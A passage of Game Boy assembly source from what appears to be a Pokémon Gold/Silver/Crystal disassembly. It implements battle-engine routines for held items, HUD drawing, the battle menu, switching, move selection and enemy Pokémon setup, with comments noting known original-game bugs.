BATTLE_VARS_SUBSTATUS3_OPP call GetBattleVarAddr res SUBSTATUS_CONFUSED, [hl] .skip_confuse ld hl, CalcEnemyStats ldh a, [hBattleTurn] and a jr z, .got_pointer ld hl, CalcPlayerStats .got_pointer call SwitchTurnCore ld a, BANK(CalcPlayerStats) ; aka BANK(CalcEnemyStats) rst FarCall call SwitchTurnCore call ItemRecoveryAnim call UseOpponentItem ld a, $1 and a ret INCLUDE "data/battle/held_heal_status.asm" UseConfusionHealingItem: ld a, BATTLE_VARS_SUBSTATUS3_OPP call GetBattleVar bit SUBSTATUS_CONFUSED, a ret z callfar GetOpponentItem ld a, b cp HELD_HEAL_CONFUSION jr z, .heal_status cp HELD_HEAL_STATUS ret nz .heal_status ld a, [hl] ld [wNamedObjectIndexBuffer], a ld a, BATTLE_VARS_SUBSTATUS3_OPP call GetBattleVarAddr res SUBSTATUS_CONFUSED, [hl] call GetItemName call ItemRecoveryAnim ld hl, BattleText_ItemHealedConfusion call StdBattleTextbox ldh a, [hBattleTurn] and a jr nz, .do_partymon call GetOTPartymonItem xor a ld [bc], a ld a, [wBattleMode] dec a ret z ld [hl], $0 ret .do_partymon call GetPartymonItem xor a ld [bc], a ld [hl], a ret HandleStatBoostingHeldItems: ; The effects handled here are not used in-game. ldh a, [hSerialConnectionStatus] cp USING_EXTERNAL_CLOCK jr z, .player_1 call .DoPlayer jp .DoEnemy .player_1 call .DoEnemy jp .DoPlayer .DoPlayer: call GetPartymonItem ld a, $0 jp .HandleItem .DoEnemy: call GetOTPartymonItem ld a, $1 .HandleItem: ldh [hBattleTurn], a ld d, h ld e, l push de push bc ld a, [bc] ld b, a callfar GetItemHeldEffect ld hl, HeldStatUpItems .loop ld a, [hli] cp -1 jr z, .finish inc hl inc hl cp b jr nz, .loop pop bc ld a, [bc] ld [wNamedObjectIndexBuffer], a push bc dec hl dec hl ld a, [hli] ld h, [hl] ld l, a ld a, BANK(BattleCommand_AttackUp) rst FarCall pop bc pop de ld a, [wFailedMessage] and a ret nz xor a ld [bc], a ld [de], a call GetItemName ld hl, BattleText_UsersStringBuffer1Activated call StdBattleTextbox callfar BattleCommand_StatUpMessage ret .finish pop bc pop de ret INCLUDE "data/battle/held_stat_up.asm" GetPartymonItem: ld hl, wPartyMon1Item ld a, [wCurBattleMon] call GetPartyLocation ld bc, wBattleMonItem ret GetOTPartymonItem: ld hl, wOTPartyMon1Item ld a, [wCurOTMon] call GetPartyLocation ld bc, wEnemyMonItem ret UpdateBattleHUDs: push hl push de push bc call DrawPlayerHUD ld hl, wPlayerHPPal call SetHPPal call CheckDanger call DrawEnemyHUD ld hl, wEnemyHPPal call SetHPPal pop bc pop de pop hl ret UpdatePlayerHUD:: push hl push de push bc call DrawPlayerHUD call UpdatePlayerHPPal call CheckDanger pop bc pop de pop hl ret DrawPlayerHUD: xor a ldh [hBGMapMode], a ; Clear the area hlcoord 9, 7 lb bc, 5, 11 call ClearBox farcall DrawPlayerHUDBorder hlcoord 18, 9 ld [hl], $73 ; vertical bar call PrintPlayerHUD ; HP bar hlcoord 10, 9 ld b, 1 xor a ; PARTYMON ld [wMonType], a predef DrawPlayerHP ; Exp bar push de ld a, [wCurBattleMon] ld hl, wPartyMon1Exp + 2 call GetPartyLocation ld d, h ld e, l hlcoord 10, 11 ld a, [wTempMonLevel] ld b, a call FillInExpBar pop de ret UpdatePlayerHPPal: ld hl, wPlayerHPPal jp UpdateHPPal CheckDanger: ld hl, wBattleMonHP ld a, [hli] or [hl] jr z, .no_danger ld a, [wBattleLowHealthAlarm] and a jr nz, .done ld a, [wPlayerHPPal] cp HP_RED jr z, .danger .no_danger ld hl, wLowHealthAlarm res DANGER_ON_F, [hl] jr .done .danger ld hl, wLowHealthAlarm set DANGER_ON_F, [hl] .done ret PrintPlayerHUD: ld de, wBattleMonNick hlcoord 10, 7 call ret_3e138 call PlaceString push bc ld a, [wCurBattleMon] ld hl, wPartyMon1DVs call GetPartyLocation ld de, wTempMonDVs ld a, [hli] ld [de], a inc de ld a, [hl] ld [de], a ld hl, wBattleMonLevel ld de, wTempMonLevel ld bc, $11 call CopyBytes ld a, [wCurBattleMon] ld hl, wPartyMon1Species call GetPartyLocation ld a, [hl] ld [wCurPartySpecies], a ld [wCurSpecies], a call GetBaseData pop hl dec hl ld a, TEMPMON ld [wMonType], a callfar GetGender ld a, " " jr c, .got_gender_char ld a, "♂" jr nz, .got_gender_char ld a, "♀" .got_gender_char hlcoord 17, 8 ld [hl], a hlcoord 14, 8 push af ; back up gender push hl ld de, wBattleMonStatus predef PlaceNonFaintStatus pop hl pop bc ret nz ld a, b cp " " jr nz, .copy_level ; male or female dec hl ; genderless .copy_level ld a, [wBattleMonLevel] ld [wTempMonLevel], a jp PrintLevel UpdateEnemyHUD:: push hl push de push bc call DrawEnemyHUD call UpdateEnemyHPPal pop bc pop de pop hl ret DrawEnemyHUD: xor a ldh [hBGMapMode], a hlcoord 1, 0 lb bc, 4, 11 call ClearBox farcall DrawEnemyHUDBorder ld a, [wTempEnemyMonSpecies] ld [wCurSpecies], a ld [wCurPartySpecies], a call GetBaseData ld de, wEnemyMonNick hlcoord 1, 0 call ret_3e138 call PlaceString ld h, b ld l, c dec hl ld hl, wEnemyMonDVs ld de, wTempMonDVs ld a, [wEnemySubStatus5] bit SUBSTATUS_TRANSFORMED, a jr z, .ok ld hl, wEnemyBackupDVs .ok ld a, [hli] ld [de], a inc de ld a, [hl] ld [de], a ld a, TEMPMON ld [wMonType], a callfar GetGender ld a, " " jr c, .got_gender ld a, "♂" jr nz, .got_gender ld a, "♀" .got_gender hlcoord 9, 1 ld [hl], a hlcoord 6, 1 push af push hl ld de, wEnemyMonStatus predef PlaceNonFaintStatus pop hl pop bc jr nz, .skip_level ld a, b cp " " jr nz, .print_level dec hl .print_level ld a, [wEnemyMonLevel] ld [wTempMonLevel], a call PrintLevel .skip_level ld hl, wEnemyMonHP ld a, [hli] ldh [hMultiplicand + 1], a ld a, [hld] ldh [hMultiplicand + 2], a or [hl] jr nz, .not_fainted ld c, a ld e, a ld d, HP_BAR_LENGTH jp .draw_bar .not_fainted xor a ldh [hMultiplicand + 0], a ld a, HP_BAR_LENGTH_PX ldh [hMultiplier], a call Multiply ld hl, wEnemyMonMaxHP ld a, [hli] ld b, a ld a, [hl] ldh [hMultiplier], a ld a, b and a jr z, .less_than_256_max ldh a, [hMultiplier] srl b rr a srl b rr a ldh [hDivisor], a ldh a, [hProduct + 2] ld b, a srl b ldh a, [hProduct + 3] rr a srl b rr a ldh [hProduct + 3], a ld a, b ldh [hProduct + 2], a .less_than_256_max ldh a, [hProduct + 2] ldh [hDividend + 0], a ldh a, [hProduct + 3] ldh [hDividend + 1], a ld a, 2 ld b, a call Divide ldh a, [hQuotient + 3] ld e, a ld a, HP_BAR_LENGTH ld d, a ld c, a .draw_bar xor a ld [wWhichHPBar], a hlcoord 2, 2 ld b, 0 call DrawBattleHPBar ret UpdateEnemyHPPal: ld hl, wEnemyHPPal call UpdateHPPal ret UpdateHPPal: ld b, [hl] call SetHPPal ld a, [hl] cp b ret z jp FinishBattleAnim ret_3e138: ret BattleMenu: xor a ldh [hBGMapMode], a call LoadTempTileMapToTileMap ld a, [wBattleType] cp BATTLETYPE_DEBUG jr z, .ok cp BATTLETYPE_TUTORIAL jr z, .ok call EmptyBattleTextbox call UpdateBattleHuds call EmptyBattleTextbox call LoadTileMapToTempTileMap .ok .loop ld a, [wBattleType] cp BATTLETYPE_CONTEST jr nz, .not_contest farcall ContestBattleMenu jr .next .not_contest ; Auto input: choose "ITEM" ld a, [wInputType] or a jr z, .skip_dude_pack_select farcall _DudeAutoInput_DownA .skip_dude_pack_select call LoadBattleMenu2 ret c .next ld a, $1 ldh [hBGMapMode], a ld a, [wBattleMenuCursorBuffer] cp $1 jp z, BattleMenu_Fight cp $3 jp z, BattleMenu_Pack cp $2 jp z, BattleMenu_PKMN cp $4 jp z, BattleMenu_Run jr .loop BattleMenu_Fight: xor a ld [wNumFleeAttempts], a call Call_LoadTempTileMapToTileMap and a ret LoadBattleMenu2: call IsMobileBattle jr z, .mobile farcall LoadBattleMenu and a ret .mobile farcall Function100b12 ld a, [wcd2b] and a ret z ld hl, wcd2a bit 4, [hl] jr nz, .error ld hl, BattleText_LinkErrorBattleCanceled call StdBattleTextbox ld c, 60 call DelayFrames .error scf ret BattleMenu_Pack: ld a, [wLinkMode] and a jp nz, .ItemsCantBeUsed ld a, [wInBattleTowerBattle] and a jp nz, .ItemsCantBeUsed call LoadStandardMenuHeader ld a, [wBattleType] cp BATTLETYPE_TUTORIAL jr z, .tutorial cp BATTLETYPE_CONTEST jr z, .contest farcall BattlePack ld a, [wBattlePlayerAction] and a ; BATTLEPLAYERACTION_USEMOVE? jr z, .didnt_use_item jr .got_item .tutorial farcall TutorialPack ld a, POKE_BALL ld [wCurItem], a call DoItemEffect jr .got_item .contest ld a, PARK_BALL ld [wCurItem], a call DoItemEffect .got_item call .UseItem ret .didnt_use_item call ClearPalettes call DelayFrame call _LoadBattleFontsHPBar call GetBattleMonBackpic call GetEnemyMonFrontpic call ExitMenu call WaitBGMap call FinishBattleAnim call LoadTileMapToTempTileMap jp BattleMenu .ItemsCantBeUsed: ld hl, BattleText_ItemsCantBeUsedHere call StdBattleTextbox jp BattleMenu .UseItem: ld a, [wWildMon] and a jr nz, .run callfar CheckItemPocket ld a, [wItemAttributeParamBuffer] cp BALL jr z, .ball call ClearBGPalettes .ball xor a ldh [hBGMapMode], a call _LoadBattleFontsHPBar call ClearSprites ld a, [wBattleType] cp BATTLETYPE_TUTORIAL jr z, .tutorial2 call GetBattleMonBackpic .tutorial2 call GetEnemyMonFrontpic ld a, $1 ld [wMenuCursorY], a call ExitMenu call UpdateBattleHUDs call WaitBGMap call LoadTileMapToTempTileMap call ClearWindowData call FinishBattleAnim and a ret .run xor a ld [wWildMon], a ld a, [wBattleResult] and BATTLERESULT_BITMASK ld [wBattleResult], a ; WIN call ClearWindowData call SetPalettes scf ret BattleMenu_PKMN: call LoadStandardMenuHeader BattleMenuPKMN_ReturnFromStats: call ExitMenu call LoadStandardMenuHeader call ClearBGPalettes BattleMenuPKMN_Loop: call SetUpBattlePartyMenu xor a ld [wPartyMenuActionText], a call JumpToPartyMenuAndPrintText call SelectBattleMon jr c, .Cancel .loop farcall FreezeMonIcons call .GetMenu jr c, .PressedB call PlaceHollowCursor ld a, [wMenuCursorY] cp $1 ; SWITCH jp z, TryPlayerSwitch cp $2 ; STATS jr z, .Stats cp $3 ; CANCEL jr z, .Cancel jr .loop .PressedB: call CheckMobileBattleError jr c, .Cancel jr BattleMenuPKMN_Loop .Stats: call Battle_StatsScreen call CheckMobileBattleError jr c, .Cancel jp BattleMenuPKMN_ReturnFromStats .Cancel: call ClearSprites call ClearPalettes call DelayFrame call _LoadHPBar call CloseWindow call LoadTileMapToTempTileMap call GetMemSGBLayout call SetPalettes jp BattleMenu .GetMenu: call IsMobileBattle jr z, .mobile farcall BattleMonMenu ret .mobile farcall MobileBattleMonMenu ret Battle_StatsScreen: call DisableLCD ld hl, vTiles2 tile $31 ld de, vTiles0 ld bc, $11 tiles call CopyBytes ld hl, vTiles2 ld de, vTiles0 tile $11 ld bc, $31 tiles call CopyBytes call EnableLCD call ClearSprites call LowVolume xor a ; PARTYMON ld [wMonType], a farcall BattleStatsScreenInit call MaxVolume call DisableLCD ld hl, vTiles0 ld de, vTiles2 tile $31 ld bc, $11 tiles call CopyBytes ld hl, vTiles0 tile $11 ld de, vTiles2 ld bc, $31 tiles call CopyBytes call EnableLCD ret TryPlayerSwitch: ld a, [wCurBattleMon] ld d, a ld a, [wCurPartyMon] cp d jr nz, .check_trapped ld hl, BattleText_MonIsAlreadyOut call StdBattleTextbox jp BattleMenuPKMN_Loop .check_trapped ld a, [wPlayerWrapCount] and a jr nz, .trapped ld a, [wEnemySubStatus5] bit SUBSTATUS_CANT_RUN, a jr z, .try_switch .trapped ld hl, BattleText_MonCantBeRecalled call StdBattleTextbox jp BattleMenuPKMN_Loop .try_switch call CheckIfCurPartyMonIsFitToFight jp z, BattleMenuPKMN_Loop ld a, [wCurBattleMon] ld [wLastPlayerMon], a ld a, BATTLEPLAYERACTION_SWITCH ld [wBattlePlayerAction], a call ClearPalettes call DelayFrame call ClearSprites call _LoadHPBar call CloseWindow call GetMemSGBLayout call SetPalettes ld a, [wCurPartyMon] ld [wCurBattleMon], a PlayerSwitch: ld a, 1 ld [wPlayerIsSwitching], a ld a, [wLinkMode] and a jr z, .not_linked call LoadStandardMenuHeader call LinkBattleSendReceiveAction call CloseWindow .not_linked call ParseEnemyAction ld a, [wLinkMode] and a jr nz, .linked .switch call BattleMonEntrance and a ret .linked ld a, [wBattleAction] cp BATTLEACTION_STRUGGLE jp z, .switch cp BATTLEACTION_SKIPTURN jp z, .switch cp BATTLEACTION_SWITCH1 jp c, .switch cp BATTLEACTION_FORFEIT jr nz, .dont_run call WildFled_EnemyFled_LinkBattleCanceled ret .dont_run ldh a, [hSerialConnectionStatus] cp USING_EXTERNAL_CLOCK jr z, .player_1 call BattleMonEntrance call EnemyMonEntrance and a ret .player_1 call EnemyMonEntrance call BattleMonEntrance and a ret EnemyMonEntrance: callfar AI_Switch call SetEnemyTurn jp SpikesDamage BattleMonEntrance: call WithdrawMonText ld c, 50 call DelayFrames ld hl, wPlayerSubStatus4 res SUBSTATUS_RAGE, [hl] call SetEnemyTurn call PursuitSwitch jr c, .ok call RecallPlayerMon .ok hlcoord 9, 7 lb bc, 5, 11 call ClearBox ld a, [wCurBattleMon] ld [wCurPartyMon], a call AddBattleParticipant call InitBattleMon call ResetPlayerStatLevels call SendOutMonText call NewBattleMonStatus call BreakAttraction call SendOutPlayerMon call EmptyBattleTextbox call LoadTileMapToTempTileMap call SetPlayerTurn call SpikesDamage ld a, $2 ld [wMenuCursorY], a ret PassedBattleMonEntrance: ld c, 50 call DelayFrames hlcoord 9, 7 lb bc, 5, 11 call ClearBox ld a, [wCurPartyMon] ld [wCurBattleMon], a call AddBattleParticipant call InitBattleMon xor a ; FALSE ld [wApplyStatLevelMultipliersToEnemy], a call ApplyStatLevelMultiplierOnAllStats call SendOutPlayerMon call EmptyBattleTextbox call LoadTileMapToTempTileMap call SetPlayerTurn jp SpikesDamage BattleMenu_Run: call Call_LoadTempTileMapToTileMap ld a, $3 ld [wMenuCursorY], a ld hl, wBattleMonSpeed ld de, wEnemyMonSpeed call TryToRunAwayFromBattle ld a, FALSE ld [wFailedToFlee], a ret c ld a, [wBattlePlayerAction] and a ; BATTLEPLAYERACTION_USEMOVE? ret nz jp BattleMenu CheckAmuletCoin: ld a, [wBattleMonItem] ld b, a callfar GetItemHeldEffect ld a, b cp HELD_AMULET_COIN ret nz ld a, 1 ld [wAmuletCoin], a ret MoveSelectionScreen: call IsMobileBattle jr nz, .not_mobile farcall MobileMoveSelectionScreen ret .not_mobile ld hl, wEnemyMonMoves ld a, [wMoveSelectionMenuType] dec a jr z, .got_menu_type dec a jr z, .ether_elixer_menu call CheckPlayerHasUsableMoves ret z ; use Struggle ld hl, wBattleMonMoves jr .got_menu_type .ether_elixer_menu ld a, MON_MOVES call GetPartyParamLocation .got_menu_type ld de, wListMoves_MoveIndicesBuffer ld bc, NUM_MOVES call CopyBytes xor a ldh [hBGMapMode], a hlcoord 4, 17 - NUM_MOVES - 1 ld b, 4 ld c, 14 ld a, [wMoveSelectionMenuType] cp $2 jr nz, .got_dims hlcoord 4, 17 - NUM_MOVES - 1 - 4 ld b, 4 ld c, 14 .got_dims call Textbox hlcoord 6, 17 - NUM_MOVES ld a, [wMoveSelectionMenuType] cp $2 jr nz, .got_start_coord hlcoord 6, 17 - NUM_MOVES - 4 .got_start_coord ld a, SCREEN_WIDTH ld [wBuffer1], a predef ListMoves ld b, 5 ld a, [wMoveSelectionMenuType] cp $2 ld a, 17 - NUM_MOVES jr nz, .got_default_coord ld b, 5 ld a, 17 - NUM_MOVES - 4 .got_default_coord ld [w2DMenuCursorInitY], a ld a, b ld [w2DMenuCursorInitX], a ld a, [wMoveSelectionMenuType] cp $1 jr z, .skip_inc ld a, [wCurMoveNum] inc a .skip_inc ld [wMenuCursorY], a ld a, 1 ld [wMenuCursorX], a ld a, [wNumMoves] inc a ld [w2DMenuNumRows], a ld a, 1 ld [w2DMenuNumCols], a ld c, STATICMENU_ENABLE_LEFT_RIGHT | STATICMENU_ENABLE_START | STATICMENU_WRAP ld a, [wMoveSelectionMenuType] dec a ld b, D_DOWN | D_UP | A_BUTTON jr z, .okay dec a ld b, D_DOWN | D_UP | A_BUTTON | B_BUTTON jr z, .okay ld a, [wLinkMode] and a jr nz, .okay ld b, D_DOWN | D_UP | A_BUTTON | B_BUTTON | SELECT .okay ld a, b ld [wMenuJoypadFilter], a ld a, c ld [w2DMenuFlags1], a xor a ld [w2DMenuFlags2], a ld a, $10 ld [w2DMenuCursorOffsets], a .menu_loop ld a, [wMoveSelectionMenuType] and a jr z, .battle_player_moves dec a jr nz, .interpret_joypad hlcoord 11, 14 ld de, .string_3e61c call PlaceString jr .interpret_joypad .battle_player_moves call MoveInfoBox ld a, [wMoveSwapBuffer] and a jr z, .interpret_joypad hlcoord 5, 13 ld bc, SCREEN_WIDTH dec a call AddNTimes ld [hl], "▷" .interpret_joypad ld a, $1 ldh [hBGMapMode], a call ScrollingMenuJoypad bit D_UP_F, a jp nz, .pressed_up bit D_DOWN_F, a jp nz, .pressed_down bit SELECT_F, a jp nz, .pressed_select bit B_BUTTON_F, a ; A button push af xor a ld [wMoveSwapBuffer], a ld a, [wMenuCursorY] dec a ld [wMenuCursorY], a ld b, a ld a, [wMoveSelectionMenuType] dec a jr nz, .not_enemy_moves_process_b pop af ret .not_enemy_moves_process_b dec a ld a, b ld [wCurMoveNum], a jr nz, .use_move pop af ret .use_move pop af ret nz ld hl, wBattleMonPP ld a, [wMenuCursorY] ld c, a ld b, 0 add hl, bc ld a, [hl] and PP_MASK jr z, .no_pp_left ld a, [wPlayerDisableCount] swap a and $f dec a cp c jr z, .move_disabled ld a, [wUnusedPlayerLockedMove] and a jr nz, .skip2 ld a, [wMenuCursorY] ld hl, wBattleMonMoves ld c, a ld b, 0 add hl, bc ld a, [hl] .skip2 ld [wCurPlayerMove], a xor a ret .move_disabled ld hl, BattleText_TheMoveIsDisabled jr .place_textbox_start_over .no_pp_left ld hl, BattleText_TheresNoPPLeftForThisMove .place_textbox_start_over call StdBattleTextbox call Call_LoadTempTileMapToTileMap jp MoveSelectionScreen .string_3e61c db "@" .pressed_up ld a, [wMenuCursorY] and a jp nz, .menu_loop ld a, [wNumMoves] inc a ld [wMenuCursorY], a jp .menu_loop .pressed_down ld a, [wMenuCursorY] ld b, a ld a, [wNumMoves] inc a inc a cp b jp nz, .menu_loop ld a, $1 ld [wMenuCursorY], a jp .menu_loop .pressed_select ld a, [wMoveSwapBuffer] and a jr z, .start_swap ld hl, wBattleMonMoves call .swap_bytes ld hl, wBattleMonPP call .swap_bytes ld hl, wPlayerDisableCount ld a, [hl] swap a and $f ld b, a ld a, [wMenuCursorY] cp b jr nz, .not_swapping_disabled_move ld a, [hl] and $f ld b, a ld a, [wMoveSwapBuffer] swap a add b ld [hl], a jr .swap_moves_in_party_struct .not_swapping_disabled_move ld a, [wMoveSwapBuffer] cp b jr nz, .swap_moves_in_party_struct ld a, [hl] and $f ld b, a ld a, [wMenuCursorY] swap a add b ld [hl], a .swap_moves_in_party_struct ; Fixes the COOLTRAINER glitch ld a, [wPlayerSubStatus5] bit SUBSTATUS_TRANSFORMED, a jr nz, .transformed ld hl, wPartyMon1Moves ld a, [wCurBattleMon] call GetPartyLocation push hl call .swap_bytes pop hl ld bc, MON_PP - MON_MOVES add hl, bc call .swap_bytes .transformed xor a ld [wMoveSwapBuffer], a jp MoveSelectionScreen .swap_bytes push hl ld a, [wMoveSwapBuffer] dec a ld c, a ld b, 0 add hl, bc ld d, h ld e, l pop hl ld a, [wMenuCursorY] dec a ld c, a ld b, 0 add hl, bc ld a, [de] ld b, [hl] ld [hl], a ld a, b ld [de], a ret .start_swap ld a, [wMenuCursorY] ld [wMoveSwapBuffer], a jp MoveSelectionScreen MoveInfoBox: xor a ldh [hBGMapMode], a hlcoord 0, 8 ld b, 3 ld c, 9 call Textbox call MobileTextBorder ld a, [wPlayerDisableCount] and a jr z, .not_disabled swap a and $f ld b, a ld a, [wMenuCursorY] cp b jr nz, .not_disabled hlcoord 1, 10 ld de, .Disabled call PlaceString jr .done .not_disabled ld hl, wMenuCursorY dec [hl] call SetPlayerTurn ld hl, wBattleMonMoves ld a, [wMenuCursorY] ld c, a ld b, 0 add hl, bc ld a, [hl] ld [wCurPlayerMove], a ld a, [wCurBattleMon] ld [wCurPartyMon], a ld a, WILDMON ld [wMonType], a callfar GetMaxPPOfMove ld hl, wMenuCursorY ld c, [hl] inc [hl] ld b, 0 ld hl, wBattleMonPP add hl, bc ld a, [hl] and PP_MASK ld [wStringBuffer1], a call .PrintPP hlcoord 1, 9 ld de, .Type call PlaceString hlcoord 7, 11 ld [hl], "/" callfar UpdateMoveData ld a, [wPlayerMoveStruct + MOVE_ANIM] ld b, a hlcoord 2, 10 predef PrintMoveType .done ret .Disabled: db "Disabled!@" .Type: db "TYPE/@" .PrintPP: hlcoord 5, 11 ld a, [wLinkMode] ; What's the point of this check? cp LINK_MOBILE jr c, .ok hlcoord 5, 11 .ok push hl ld de, wStringBuffer1 lb bc, 1, 2 call PrintNum pop hl inc hl inc hl ld [hl], "/" inc hl ld de, wNamedObjectIndexBuffer lb bc, 1, 2 call PrintNum ret CheckPlayerHasUsableMoves: ld a, STRUGGLE ld [wCurPlayerMove], a ld a, [wPlayerDisableCount] and a ld hl, wBattleMonPP jr nz, .disabled ld a, [hli] or [hl] inc hl or [hl] inc hl or [hl] and PP_MASK ret nz jr .force_struggle .disabled swap a and $f ld b, a ld d, NUM_MOVES + 1 xor a .loop dec d jr z, .done ld c, [hl] inc hl dec b jr z, .loop or c jr .loop .done ; Bug: this will result in a move with PP Up confusing the game. and a ; should be "and PP_MASK" ret nz .force_struggle ld hl, BattleText_MonHasNoMovesLeft call StdBattleTextbox ld c, 60 call DelayFrames xor a ret ParseEnemyAction: ld a, [wEnemyIsSwitching] and a ret nz ld a, [wLinkMode] and a jr z, .not_linked call EmptyBattleTextbox call LoadTileMapToTempTileMap ld a, [wBattlePlayerAction] and a ; BATTLEPLAYERACTION_USEMOVE? call z, LinkBattleSendReceiveAction call Call_LoadTempTileMapToTileMap ld a, [wBattleAction] cp BATTLEACTION_STRUGGLE jp z, .struggle cp BATTLEACTION_SKIPTURN jp z, .skip_turn cp BATTLEACTION_SWITCH1 jp nc, ResetVarsForSubstatusRage ld [wCurEnemyMoveNum], a ld c, a ld a, [wEnemySubStatus1] bit SUBSTATUS_ROLLOUT, a jp nz, .skip_load ld a, [wEnemySubStatus3] and 1 << SUBSTATUS_CHARGED | 1 << SUBSTATUS_RAMPAGE | 1 << SUBSTATUS_BIDE jp nz, .skip_load ld hl, wEnemySubStatus5 bit SUBSTATUS_ENCORED, [hl] ld a, [wLastEnemyMove] jp nz, .finish ld hl, wEnemyMonMoves ld b, 0 add hl, bc ld a, [hl] jp .finish .not_linked ld hl, wEnemySubStatus5 bit SUBSTATUS_ENCORED, [hl] jr z, .skip_encore ld a, [wLastEnemyMove] jp .finish .skip_encore call CheckEnemyLockedIn jp nz, ResetVarsForSubstatusRage jr .continue .skip_turn ld a, $ff jr .finish .continue ld hl, wEnemyMonMoves ld de, wEnemyMonPP ld b, NUM_MOVES .loop ld a, [hl] and a jp z, .struggle ld a, [wEnemyDisabledMove] cp [hl] jr z, .disabled ld a, [de] and PP_MASK jr nz, .enough_pp .disabled inc hl inc de dec b jr nz, .loop jr .struggle .enough_pp ld a, [wBattleMode] dec a jr nz, .skip_load ; wild .loop2 ld hl, wEnemyMonMoves call BattleRandom maskbits NUM_MOVES ld c, a ld b, 0 add hl, bc ld a, [wEnemyDisableCount] swap a and $f dec a cp c jr z, .loop2 ld a, [hl] and a jr z, .loop2 ld hl, wEnemyMonPP add hl, bc ld b, a ld a, [hl] and PP_MASK jr z, .loop2 ld a, c ld [wCurEnemyMoveNum], a ld a, b .finish ld [wCurEnemyMove], a .skip_load call SetEnemyTurn callfar UpdateMoveData call CheckEnemyLockedIn jr nz, .raging xor a ld [wEnemyCharging], a .raging ld a, [wEnemyMoveStruct + MOVE_EFFECT] cp EFFECT_FURY_CUTTER jr z, .fury_cutter xor a ld [wEnemyFuryCutterCount], a .fury_cutter ld a, [wEnemyMoveStruct + MOVE_EFFECT] cp EFFECT_RAGE jr z, .no_rage ld hl, wEnemySubStatus4 res SUBSTATUS_RAGE, [hl] xor a ld [wEnemyRageCounter], a .no_rage ld a, [wEnemyMoveStruct + MOVE_EFFECT] cp EFFECT_PROTECT ret z cp EFFECT_ENDURE ret z xor a ld [wEnemyProtectCount], a ret .struggle ld a, STRUGGLE jr .finish ResetVarsForSubstatusRage: xor a ld [wEnemyFuryCutterCount], a ld [wEnemyProtectCount], a ld [wEnemyRageCounter], a ld hl, wEnemySubStatus4 res SUBSTATUS_RAGE, [hl] ret CheckEnemyLockedIn: ld a, [wEnemySubStatus4] and 1 << SUBSTATUS_RECHARGE ret nz ld hl, wEnemySubStatus3 ld a, [hl] and 1 << SUBSTATUS_CHARGED | 1 << SUBSTATUS_RAMPAGE | 1 << SUBSTATUS_BIDE ret nz ld hl, wEnemySubStatus1 bit SUBSTATUS_ROLLOUT, [hl] ret LinkBattleSendReceiveAction: farcall _LinkBattleSendReceiveAction ret LoadEnemyMon: ; Initialize enemy monster parameters ; To do this we pull the species from wTempEnemyMonSpecies ; Notes: ; BattleRandom is used to ensure sync between Game Boys ; Clear the whole enemy mon struct (wEnemyMon) xor a ld hl, wEnemyMonSpecies ld bc, wEnemyMonEnd - wEnemyMon call ByteFill ; We don't need to be here if we're in a link battle ld a, [wLinkMode] and a jp nz, InitEnemyMon ; and also not in a BattleTower-Battle ld a, [wInBattleTowerBattle] ; ???? bit 0, a jp nz, InitEnemyMon ; Make sure everything knows what species we're working with ld a, [wTempEnemyMonSpecies] ld [wEnemyMonSpecies], a ld [wCurSpecies], a ld [wCurPartySpecies], a ; Grab the BaseData for this species call GetBaseData ; Let's get the item: ; Is the item predetermined? ld a, [wBattleMode] dec a jr z, .WildItem ; If we're in a trainer battle, the item is in the party struct ld a, [wCurPartyMon] ld hl, wOTPartyMon1Item call GetPartyLocation ; bc = PartyMon[wCurPartyMon] - wPartyMons ld a, [hl] jr .UpdateItem .WildItem: ; In a wild battle, we pull from the item slots in BaseData ; Force Item1 ; Used for Ho-Oh, Lugia and Snorlax encounters ld a, [wBattleType] cp BATTLETYPE_FORCEITEM ld a, [wBaseItem1] jr z, .UpdateItem ; Failing that, it's all up to chance ; Effective chances: ; 75% None ; 23% Item1 ; 2% Item2 ; 25% chance of getting an item call BattleRandom cp 75 percent + 1 ld a, NO_ITEM jr c, .UpdateItem ; From there, an 8% chance for Item2 call BattleRandom cp 8 percent ; 8% of 25% = 2% Item2 ld a, [wBaseItem1] jr nc, .UpdateItem ld a, [wBaseItem2] .UpdateItem: ld [wEnemyMonItem], a ; Initialize DVs ; If we're in a trainer battle, DVs are predetermined ld a, [wBattleMode] and a jr z, .InitDVs ld a, [wEnemySubStatus5] bit SUBSTATUS_TRANSFORMED, a jr z, .InitDVs ; Unknown ld hl, wEnemyBackupDVs ld de, wEnemyMonDVs ld a, [hli] ld [de], a inc de ld a, [hl] ld [de], a jp .Happiness .InitDVs: ; Trainer DVs ; All trainers have preset DVs, determined by class ; See GetTrainerDVs for more on that farcall GetTrainerDVs ; These are the DVs we'll use if we're actually in a trainer battle ld a, [wBattleMode] dec a jr nz, .UpdateDVs ; Wild DVs ; Here's where the fun starts ; Roaming monsters (Entei, Raikou) work differently ; They have their own structs, which are shorter than normal ld a, [wBattleType] cp BATTLETYPE_ROAMING jr nz, .NotRoaming ; Grab HP call GetRoamMonHP ld a, [hl] ; Check if the HP has been initialized and a ; We'll do something with the result in a minute push af ; Grab DVs call GetRoamMonDVs inc hl ld a, [hld] ld c, a ld b, [hl] ; Get back the result of our check pop af ; If the RoamMon struct has already been initialized, we're done jr nz, .UpdateDVs ; If it hasn't, we need to initialize the DVs ; (HP is initialized at the end of the battle) call GetRoamMonDVs inc hl call BattleRandom ld [hld], a ld c, a call BattleRandom ld [hl], a ld b, a ; We're done with DVs jr .UpdateDVs .NotRoaming: ; Register a contains wBattleType ; Forced shiny battle type ; Used by Red Gyarados at Lake of Rage cp BATTLETYPE_SHINY jr nz, .GenerateDVs ld b, ATKDEFDV_SHINY ; $ea ld c, SPDSPCDV_SHINY ; $aa jr .UpdateDVs .GenerateDVs: ; Generate new random DVs call BattleRandom ld b, a call BattleRandom ld c, a .UpdateDVs: ; Input DVs in register bc ld hl, wEnemyMonDVs ld a, b ld [hli], a ld [hl], c ; We've still got more to do if we're dealing with a wild monster ld a, [wBattleMode] dec a jr nz, .Happiness ; Species-specfic: ; Unown ld a, [wTempEnemyMonSpecies] cp UNOWN jr nz, .Magikarp ; Get letter based on DVs ld hl, wEnemyMonDVs predef GetUnownLetter ; Can't use any letters that haven't been unlocked ; If combined with forced shiny battletype, causes an infinite loop call CheckUnownLetter jr c, .GenerateDVs ; try again .Magikarp: ; These filters are untranslated. ; They expect at wMagikarpLength a 2-byte value in mm, ; but the value is in feet and inches (one byte each). ; The first filter is supposed to make very large Magikarp even rarer, ; by targeting those 1600 mm (= 5'3") or larger. ; After the conversion to feet, it is unable to target any, ; since the largest possible Magikarp is 5'3", and $0503 = 1283 mm. ld a, [wTempEnemyMonSpecies] cp MAGIKARP jr 